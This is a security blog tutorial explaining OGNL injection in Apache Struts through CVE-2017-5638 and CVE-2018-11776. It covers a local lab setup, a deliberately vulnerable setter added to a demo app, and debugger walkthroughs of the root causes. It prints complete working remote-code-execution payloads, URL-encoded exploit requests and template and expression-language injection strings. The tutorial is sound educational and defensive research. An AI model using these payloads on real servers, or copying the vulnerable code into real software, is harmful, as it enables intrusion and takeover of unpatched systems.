Exploiting OGNL Injection in Apache Struts
Let’s understand how OGNL Injection works in Apache Struts. We’ll exemplify with two critical vulnerabilities in Struts: CVE-2017-5638 (Equifax breach) and CVE-2018-11776.
Apache Struts is a free, open-source framework for creating elegant, modern Java web applications. It has its share of critical vulnerabilities, with one of its features, OGNL – Object-Graph Navigation Language, being at the core of many of them.
One such vulnerability (CVE-2017-5638) has facilitated the Equifax breach in 2017 that exposed the personal information of more than 145 million US citizens. Despite being a company with over 3 billion dollars in annual revenue, it was hacked via a known vulnerability in the Apache Struts model-view-controller (MVC) framework.
This article offers a light introduction into Apache Struts, then it will guide you through modifying a simple application, the use of OGNL, and exploiting it. Next, it will dive into some public exploits targeting the platform and using OGNL Injection flaws to understand this class of vulnerabilities.
Even if Java developers are familiar with Apache Struts, the same is often not true in the security community. That is why we have created this blog post.
Contents
Feel free to use the menu below to skip to the section of interest.
Install Apache Tomcat server (Getting started)
Get familiar with how Java apps work on a server (Web Server Basics)
A look at a Struts app (Struts application example)
Expression Language Injection (Expression Language injection)
Understanding OGNL injection (Object-Graph Navigation Language injection)
The CVE-2017-5638 root cause (CVE-2017-5638 root cause)
The CVE-2018-11776 root cause (CVE-2018-11776 root cause)
Explanation of the OGNL injection payloads (Understanding OGNL injection payloads)
1. Getting started
Running a vulnerable Struts application requires the installation of the Apache Tomcat web server. The latest version of the package is available for download from here as a ZIP archive. Extract the binary to a location of your choice (we used /var/tomcat) and proceed:
cd /var/tomcat/bin # Go to the extracted folder
chmod +x *.sh # Set scripts as executable
./startup.sh # Run the startup script
Go to http://localhost:8080/
and check if it’s running.
If it does, we’re ready to download an old version of the Apache Struts framework that is vulnerable to the exploits we want to demonstrate. This page offers Struts version 2.3.30 which fits our needs.
After extracting the contents of the archive, you should have the filestruts2-showcase.war
> under /apps
location. This is compiled and ready to deploy a demo application that uses Struts. Just copy the WAR file to /var/tomcat/webapps
and go to http://localhost:8080/struts2-showcase/showcase.action to check if it works.
2. Web Server basics
If you have a good grasp of the simple concepts related to Java web apps, such as servlets, you’re ahead. If you don’t know anything about Java servlet, suffice to say that they are components whose purpose is to create web containers for hosting web applications on web servers; they also handle requests to Java apps like /struts2-showcase
.
To handle the servlets, the webserver (e.g. Apache Tomcat) needs some components:
Apache Coyote is the Connector that supports the HTTP/1.1 protocol. It allows communication with the servlet container component, Apache Catalina.
Apache Catalina container is the one determining which servlets need to be called when Tomcat receives HTTP requests. It also converts the HTTP requests and responses from text to Java objects which are used by the servlets.
You can find here all the details about Java servlet specifications (the latest version is 4.0).
Apache Struts Basics
Like Java web apps, the apps that use the Apache Struts framework can have multiple servlets. A full understanding of this framework to build web apps is not the scope of this article, which only scratches the surface to grasp the basic concepts. You can expand your knowledge on the topic with a step-by-step tutorial.
Apache Struts framework relies on the MVC (Model-View-Controller) architectural pattern. It is useful for applications because it is possible to separate major application components:
Model – Represents the application data, for example, a class that works with data such as “Orders”
View – Is the output of the application, the visual part
Controller – Receives the user input, uses the Model in order to generate a View
Actions – The Model in Apache Struts
Interceptors – Part of the Controller, these are hooks that can be called before or after processing a request
Value Stack / OGNL – A stack of objects, such as Model or Action objects
Results / Result types – Used to choose a View after business logic
View technologies – Deals with how data is displayed
Below you can see the general architecture of an Apache Struts web application:
The Controller receives an HTTP request and the FilterDispatcher is responsible for invoking the right action based on the request. The action is then executed and the View component prepares the result and sends it to the user in the HTTP response.
3. Struts application example
Writing from scratch a Struts app takes some time, so we’re going to use one that is already available, rest-showcase demo application, which is a simple REST API with a basic frontend. To compile the application, we have just to cd into its directory and build it using Maven:
cd struts-2.3.30/src/apps/rest-showcase/
mvn package
In the target directory we should find the following file: struts2-rest-showcase.war
. You can install it by copying the file to the web apps directory of the Tomcat server, such as /var/tomcat/webapps
.
Here is the source code of the app:
1. Order.java
is the Model. It is a Java class that stores order information.
public class Order {
String id;
String clientName;
int amount;
…
}
2. OrdersService.java
is a helper class that stores the Orders in a HashMap and manages them.
public class OrdersService {
private static Map<String,Order> orders = new HashMap<String,Order>();
…
}
3. IndexController.java
and OrderController.java are the Controllers or the Actions of the Struts application.
4. We can also see multiple JSP files that represent the Views.
5. And configuration files such as web.xml
and struts.xml
.
Server-side templates and injection
JSP enables the generation of dynamic HTML code by mixing static HTML with the dynamic code that is executed on the server. Similar to PHP, it is possible to mix Java and HTML code. Below is an example:
<li><p><b>First Name:</b>
<%= request.getParameter("first_name")%>
</p></li>
<li><p><b>Last Name:</b>
<%= request.getParameter("last_name")%>
</p></li>
As shown in the snippet above, we can use the request
object with HTML code and call the getParameter function that returns the values for parameters first_name and last_name.
To follow the MVC design pattern and avoid complex mixes between View (JSP) and Model/Controller (Java), it is possible to use Expression Language in JSP files. This is a special programming language that enables the View to communicate with the Java application:
Box Perimeter is: ${2box.width + 2box.height}
This functionality also goes by the name Server-Side Template because it permits the creation of HTML templates on the server for easy management of the HTML and Java code mix. Multiple server-side template engines are available, such as FreeMarker, Velocity, or Thymeleaf.
At this point, we not only have Java in the backend, but also some special sort-of programming language via the template engines, and this can be the proper ground for Server-Side Template Injection vulnerabilities.
Just like with other vulnerabilities, the problems occur when the template engine parses or interprets user-supplied data. Since their practicality lies in the many features they provide, template engines often include a method for calling functions, and this opens the door to execute operating system commands.
Check this example using the FreeMarker template engine:
<head>
<title>${title}</title>
</head>
…
<#if animals.python.price == 0>
Pythons are free today!
</#if>
In the code above there is a dynamically-generated title and a message display if a condition is met.
What an attacker can do is print dynamic content, which could be sensitive information like the application configuration data. Furthermore, if the template engine allows it, an attacker could execute Operating System commands. How? By abusing the functionality of the template engine. Below is an example for FreeMarker:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
4. Expression Language Injection
Expression Language is used to create Server-Side Templates and because of this, it can be regarded as a Server-Side Template engine as well. But since it also fulfills other purposes, vulnerabilities in it are not strictly an injection type. Here are some examples:
${customer.address["street"]}
${mySuit == "hearts"}
${customer.age + 20}
#{customer.age}
${requestScope[’javax.servlet.forward.servlet_path’]}
A user may be able to execute the user-provided Expression Language code, so this means that apps can be vulnerable to Expression Language Injection. As this paper explains, because the ${EL}
syntax is used, Expression Language flaws are easy to find. For instance, a simple mathematical operation, such as ${9999+1}
will be evaluated to10000
, which might be visible in the response.
Even if this is not very useful for an attacker, practical information may be retrieved using the default scopes of the expression language, such as ${applicationScope} or ${requestScope}.
Taking it further, Expression Language injection can allow session object modification and elevate a user’s privileges to admin level:
${pageContext.request.getSession().setAttribute("admin",true)}
In the end, it might be even possible to get Remote Code Execution, using something like this:
${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request.getSession().getAttribute("arr").toArray(pageContext.getClass().getClassLoader().getParent().getURLs())).loadClass("Malicious").newInstance()}
Preventing this sort of vulnerability is possible by denying user-supplied input into expression language parsing functions, keeping all dependencies updated, and even by properly escaping #{
and ${
sequences from user input if possible.
5. Object-Graph Navigation Language injection
Object-Graph Navigation Language (OGNL) is an open-source Expression Language for Java. OGNL’s primary function is to get and set object properties: “Most of what you can do in Java is possible in OGNL.”
If we were to work with orders, as described below,
public class Order {
String id;
String clientName;
int amount;
…
}
direct access to order properties is possible in the JSP file, as follows:
<!DOCTYPE html>
<%@taglib prefix="s" uri="/struts-tags" %>
...
<s:form method="post" action=`**`%{#request.contextPath}/orders/%{id}`**` cssClass="form-horizontal" theme="simple">
<s:hidden name="_method" value="put" />`
ID
`<s:textfield id=`**`"id"`**` name="id" disabled="true" cssClass="form-control"/>`
Client
`<s:textfield id=`**`"clientName"`**` name="clientName" cssClass="form-control"/>`
Amount
`<s:textfield id=`**`"amount"`**` name="amount" cssClass="form-control" />
<s:submit cssClass="btn btn-primary"/>
</s:form>
OGNL expressions are evaluated using %{code}
and ${code}
sequences. As mentioned in its documentation, OGNL allows the following:
Access properties such as
name
orheadline.text
Call methods such as
toCharArray()
Access elements from arrays such as
listeners[0]
Or even combine them:
name.toCharArray()[0].numericValue.toString()
It is also possible to use variables (#var = 99
), create arrays (new int[] { 1, 2, 3 }
) or maps (#@java.util.LinkedHashMap@{ "foo" : "foo value", "bar" : "bar value" }
), and even access static fields (@class@field
or call static methods: @class@method(args)
).
OGNL is a powerful language but treating user-supplied input as OGNL in Apache Struts could impact security. Let’s take a simple example and introduce a vulnerability ourselves in the rest-showcase application.
We have getters and setters for all Order
properties, such as:
public String getClientName() {
return clientName;
}
public void setClientName(String clientName) {
this.clientName = clientName;
}
Modifying the setter to make it vulnerable to OGNL Injection is possible by importing three additional packages and calling TextParseUtil.translateVariables
the method, which will then evaluate it. In our case, the modification checks the value in the clientName
parameter.
import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.util.TextParseUtil;
import com.opensymphony.xwork2.util.reflection.ReflectionContextState;
…
public void setClientName(String clientName) {
ReflectionContextState.`**`setDenyMethodExecution`**`(ActionContext.getContext().getContextMap(), false);`
`this.clientName = `**`TextParseUtil.translateVariables`**`(clientName, ActionContext.getContext().getValueStack());
The translateVariables
method reaches the following code:
TextParser parser = ((Container)stack.getContext().get(ActionContext.CONTAINER)).getInstance(TextParser.class);
return `**parser.evaluate**`(openChars, expression, ognlEval, maxLoopCount);
This will evaluate the OGNL expression (OgnlTextParser.java).
Next, we can recompile the application, start it, and try to exploit the vulnerability in the clientName
parameter. The easiest way to test this is to use a simple mathematical operation, such as %{999+1}
.
After modifying the order, the client name will be parsed as OGNL, confirmed by the successful execution of the mathematical operation.
Now that we know that the parameter is vulnerable, we can use it in tests. One thing to note is that before calling translateVariables
function, we call setDenyMethodExecution
. This is necessary because when setting values of parameters, as we do here, the method execution is denied as a protection measure, and we will not be able to execute any method.
If during the exploitation phase you encounter the vulnerability in a similar place, it is possible to enable method execution directly from the payload before any method call:
(#context['xwork.MethodAccessor.denyMethodExecution']=false)
Thank you, mmolgtm for pointing this out!
Debugging Java applications
Running a Java application in the IDE’s built-in debugger improves understanding both apps and vulnerability as it provides a clear, step-by-step view of how an exploit works.
The advantages that come with debugging the vulnerable application include the ability to set breakpoints anywhere in the code, and inspecting and modifying all the variables.
Working with old Java applications, such as Struts 2.3.30 may require changing some settings to allow compiling and running it in the debugger. Below are some suggestions:
Go to Run > Debug > Edit Configuration
Click + and select Maven
Specify the working directory by selecting the Maven project, such as rest-showcase
Specify the following command line:
jetty:run -f pom.xml
(Jetty is a webserver)
Setting a breakpoint on setClientName
method is easy now: open the browser at http://127.0.0.1:8080/struts2-rest-showcase/orders.xhtml, select Edit for one of the orders and press Submit to edit the order. This should trigger the call to the setClientName
and hit the breakpoint.
6. CVE-2017-5638 root cause
CVE-2017-5638 is the most publicized vulnerability in Struts, mainly because it was used for the Equifax data breach. The security community took a close look at it, and here are just two examples.
An exploit is available from Exploit-DB – download and runs it:
python CVE-2017-5638.py http://localhost:8080/struts2-showcase/showcase.action "touch /tmp/pwned"
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: touch /tmp/pwned
The result should be a file created in the “/tmp/pwned” location:
The issue with CVE-2017-5638 is that the framework and the app using it are not required to do anything, it represents the worst case.
The debugger is the quickest way to learn the origin of the vulnerability. Use it to place a breakpoint on translateVariables method which will be called by exploiting this vulnerability and just running the public exploit.
python CVE-5638.py http://127.0.0.1:8080/struts2-rest-showcase/ 'ls -la /'
This offers a look at the full stack trace including all the data required. Below is the result:
If we go through the stack, we can get a clear view of what is happening.
It processes the request in
doFilter(…)
method which calls the prepare.wrapRequest(request); methodThe
wrapRequest
callsdispatcher.wrapRequest(request);
And in this method, we can find something interesting:
String contenttype = request.getContentType(); if (contenttype != null && content_type.contains("multipart/form-data")) {
request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);`} else {
request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
}
If the Content-Type
header of the request contains the multipart/form-data
string, the framework will use MultiPartRequestWrapper class.
Next, the request is parsed: multi.parse(request, saveDir);
This method tries to parse the request, but it will throw an exception when it finds that the Content-Type is invalid:
if ((null == contentType) || ( !contentType.toLowerCase(Locale.ENGLISH).startsWith(MULTIPART))) { throw new InvalidContentTypeException( format("the request doesn't contain a %s or %s stream, content type header is %s", MULTIPARTFORMDATA, MULTIPART_MIXED, contentType));
This exception results in a call to
buildErrorMessage
that executes the following method: LocalizedTextUtil.findText (this.getClass(), errorKey, defaultLocale, e.getMessage(), args); (where e.getMessage() is the error message that contains the exploit)This leads to a call to return
findText(aClass, aTextName, locale, defaultMessage, args, valueStack);
and then a call to
result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);
Next, there will be a call that will execute the exception:
MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);
and “translateVariables” method that will execute the exception: the request doesn’t contain a multipart/form-data or multipart/mixed stream, content type header is %{(#=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULTMEMBER_ACCESS)…
In the end, the general idea is simple: an invalid Content-Type
header with an OGNL expression triggers CVE-2017-5638. For some reason, the exception message with the OGNL expression is parsed.
Use our free vulnerable target
Test your skills and tools with the vulnerable apps on Pentest-Ground.com
7. CVE-2018-11776 root cause
To exploit this vulnerability, we need Struts 2.5.16, available in ZIP format here. As described here or here, leveraging it successfully is possible under a custom configuration:
Go to struts-2.5.16 directory:
cd struts-2.5.16/
And search for the following file struts-actionchaining.xml:
find . -name struts-actionchaining.xml
Edit the XML file, such as
./src/apps/showcase/src/main/resources/struts-actionchaining.xml
And modify the <
struts
> tag to have the following value:
<struts>
<package name="actionchaining" extends="struts-default">
<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
<result type="redirectAction">
<param name = "actionName">register2</param>
</result>
</action>
</package>
</struts>
This allows us to use the struts2-showcase application as the target. The following steps are necessary to compile it:
cd src/apps/showcase/
# Go to the Showcase directorymvn package -DskipTests=true
# Compile it (and skip tests)cp target/struts2-showcase.war /var/tomcat/webapps/
# Copy to Tomcat
Now we can check if the application is vulnerable by loading the following in the web browser:
http://127.0.0.1:8080/struts2-showcase/${22+22}/actionChain1.action
We should get a redirect to http://127.0.0.1:8080/struts2-showcase/44/register2.action
A working exploit including plenty of technical implementation details is available here. To take advantage of the vulnerability, we used the exploit written in C.
We need to send two requests with the payloads below encoded in the URL:
1.${(#_=#attr['struts.valueStack']).(#context=#_.getContext()).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}
2.${(#_=#attr['struts.valueStack']).(#context=#_.getContext()).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#context.setMemberAccess(#dm)).(#sl=@java.io.File@separator).(#p=new java.lang.ProcessBuilder({'bash','-c',**'xcalc'**})).(#p.start())}
Exploitation occurs like this:
3. http://127.0.0.1:8080/struts2-showcase/%24%7B%28%23_%3D%23attr%5B%27struts.valueStack%27%5D%29.%28%23context%3D%23_ .getContext%28%29%29.%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container
%27%5D%29.%28%23ognlUtil%3D%23container
.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.setExcludedClasses
%28%27%27%29%29.%28%23ognlUtil
.setExcludedPackageNames%28%27%27%29%29%7D/actionChain1.action](http://127.0.0.1:8080/struts2-showcase/$%7B(%23_%3D%23attr%5B'struts.valueStack'%5D)
.(%23context%3D%23_.getContext()).(%23container%3D%23context%5B'com.opensymphony.xwork2.ActionContext.container'%5D).
(%23ognlUtil%3D%23container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(%23ognlUtil.setExcludedClasses('')).
(%23ognlUtil.setExcludedPackageNames(''))%7D/actionChain1.action)
4. http://127.0.0.1:8080/struts2-showcase/%24%7B%28%23_%3D%23attr%5B%27struts.valueStack%27%5D%29.%28%23context%3D%23_
.getContext%28%29%29.%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23context.setMemberAccess%28%23dm%29%29.%28%23sl%3D%40java.io
.File%40separator%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%7B%27bash%27%2C%27-c%27%2C%27xcalc%27%7D%29%29.%28%23p.start%28%29%29%7D/actionChain1.action
http://127.0.0.1:8080/struts2-showcase/$%7B(%23_%3D%23attr%5B'struts.valueStack'%5D).(%23context%3D%23_.getContext()).(%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
.(%23context.setMemberAccess(%23dm)).(%23sl%3D@java.io.File@separator).(%23p%3Dnew%20java.lang.ProcessBuilder(%7B'bash'%2C'-c'%2C'xcalc'%7D)).(%23p.start())%7D/actionChain1.action)
And the expected result should be popping the calculator app:
Taking a look at the payload in the debugger helps understand why it works. Note that the ${2+4}in the string /struts2-showcase/${2+4}/actionChain1.action is called namespace in Struts, and actionChain1 is the action.
Calling the
execute(ActionInvocation invocation)
method has the following effect:
if (namespace == null) {
namespace = invocation.getProxy().getNamespace(); // namespace is “/${2+4}”
}
…
String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null));
setLocation(tmpLocation); // tmpLocation is “/${2+4}/register2.action”
super.execute(invocation);
1. The execute method also calls super.execute(invocation);
2. And then this method is called:
/**
Implementation of the `execute` method from the `Result` interface. This will call the abstract method
{@link #doExecute(String, ActionInvocation)} after optionally evaluating the location as an OGNL evaluation
*/
public void execute(ActionInvocation invocation) throws Exception {
lastFinalLocation = conditionalParse(location, invocation);
doExecute(lastFinalLocation, invocation);
}
The
conditionalParse
method parses the parameters (the location which was set before usingsetLocation
method in the first step) for OGNL expressions:
/**
Parses the parameter for OGNL expressions against the valuestack
…
*/
protected String conditionalParse(String param, ActionInvocation invocation)
if (parse && param != null && invocation != null) {
return TextParseUtil.translateVariables(
param,
invocation.getStack(),
new EncodingParsedValueEvaluator());
The result is the possibility to execute arbitrary OGNL expressions. More details on the issue are here and here. The gist of it is that when action chaining is used, the namespace coming from the user is OGNL parsed.
8. Understanding OGNL injection payloads
If you wonder why the payloads in public exploits are not like this: %{@java.lang.Runtime@getRuntime().exec('command')}
, there are two reasons for it. One refers to the protection mechanisms implemented by the Struts maintainers, and the other relates to functionality (reading the output of the command or making it cross-platform).
Useful details are available on this page, but here is a short summary:
The
SecurityMemberAccess
class, available during payload execution as_memberAccess
, decides what OGNL can do, but there is the option to use the more permissiveDefaultMemberAccess
class.Another protection is blacklisting classes and package names.
Different mitigation may be a restriction to call static methods – this is possible through the
allowStaticMethodAccess
field of the_memberAccess
class.
CVE-2017-5638 and CVE-2018-11776 payloads:
(#_='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#context['xwork.MethodAccessor.denyMethodExecution']=false).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).>
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='/usr/bin/touch /tmp/pwned').(#iswin=@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())
#_=’multipart/form-data’ – a random variable, needed because the
multipart/form-data
string is necessary in our payload to trigger the vulnerability#dm=@ognl.OgnlContext@DEFAULTMEMBERACCESS – create the dm variable with the value of DefaultMemberAccess (more permissive than SecurityMemberAccess)
#memberAccess?(#memberAccess=#dm) – if the
_memberAccess
class exists, we replace it with theDefaultMemberAccess
fromdm
variable#container=#context[‘com.opensymphony.xwork2.ActionContext.container’] – get the container from the context; necessary at a later time
#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class) – and use it to get an instance of the OgnlUtil class (we cannot do it directly because it is blacklisted – the full list is at ./src/core/src/main/resources/struts-default.xml)
#ognlUtil.getExcludedPackageNames().clear() – clear the excluded package names
#ognlUtil.getExcludedClasses().clear() – clear the excluded classes
#context.setMemberAccess(#dm) – set the
DefaultMemberAccess
to the current context#cmd=’/usr/bin/touch /tmp/pwned’ – define the command we want to execute
#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’)) – save in a variable if the app runs on Windows (cross-platform exploit)
#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd}) – specify how to execute the commands based on the Operating System (cmd.exe or bash)
#p=new java.lang.ProcessBuilder(#cmds) – use the
ProcessBuilder
class to run the command (argument)#p.redirectErrorStream(true) – it might be also useful to see the error output of the command
#process=#p.start() – execute the command
#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()) – get the output stream of the response to send data back to the user
@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros) – get the output of the executed command
#ros.flush() – flush to make sure we send all the data
Exploiting CVE-2018-11776 has some differences:
#_=#attr[‘struts.valueStack’] – uses attr to get the ValueStack
#context=#_.getContext() – which is then used to get the context
#container=#context[‘com.opensymphony.xwork2.ActionContext.container’] – to get the container
#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class) – get a reference to the OgnlUtil class
#ognlUtil.setExcludedClasses(‘’) – clear the excluded classes
#ognlUtil.setExcludedPackageNames(‘’) – clear excluded package names
#dm=@ognl.OgnlContext@DEFAULTMEMBERACCESS – define the variable dm with the value
DefaultMemberAccess
#context.setMemberAccess(#dm) – set the
DefaultMemberAccess
instead ofSecurityMemberAccess
#sl=@java.io.File@separator – not used
#p=new java.lang.ProcessBuilder({‘bash’,’-c’,’xcalc’}) – declare the ProcessBuilder with the command (xcalc)
#p.start() – execute the command
9. Conclusion
Despite being a well-known and widely-used framework, Apache Struts can still be an easy target because of the lack of public security research. The most useful public research knowledge on the topic is available on the LGTM blog.
OGNL Injection vulnerabilities affect multiple versions of Apache Struts and are a great example of how to get to Remote Code Execution by abusing existing functionalities in the code.
Exploitation may appear difficult at first, but it really isn’t, and a debugger will always help. Getting familiar with Java may be tough for security researchers, but this will turn into an advantage in the end.
With all-new research, patience is the most valuable quality. Our advice is not to throw your toys when things get tough. And always ask questions – the security community is nice and helpful.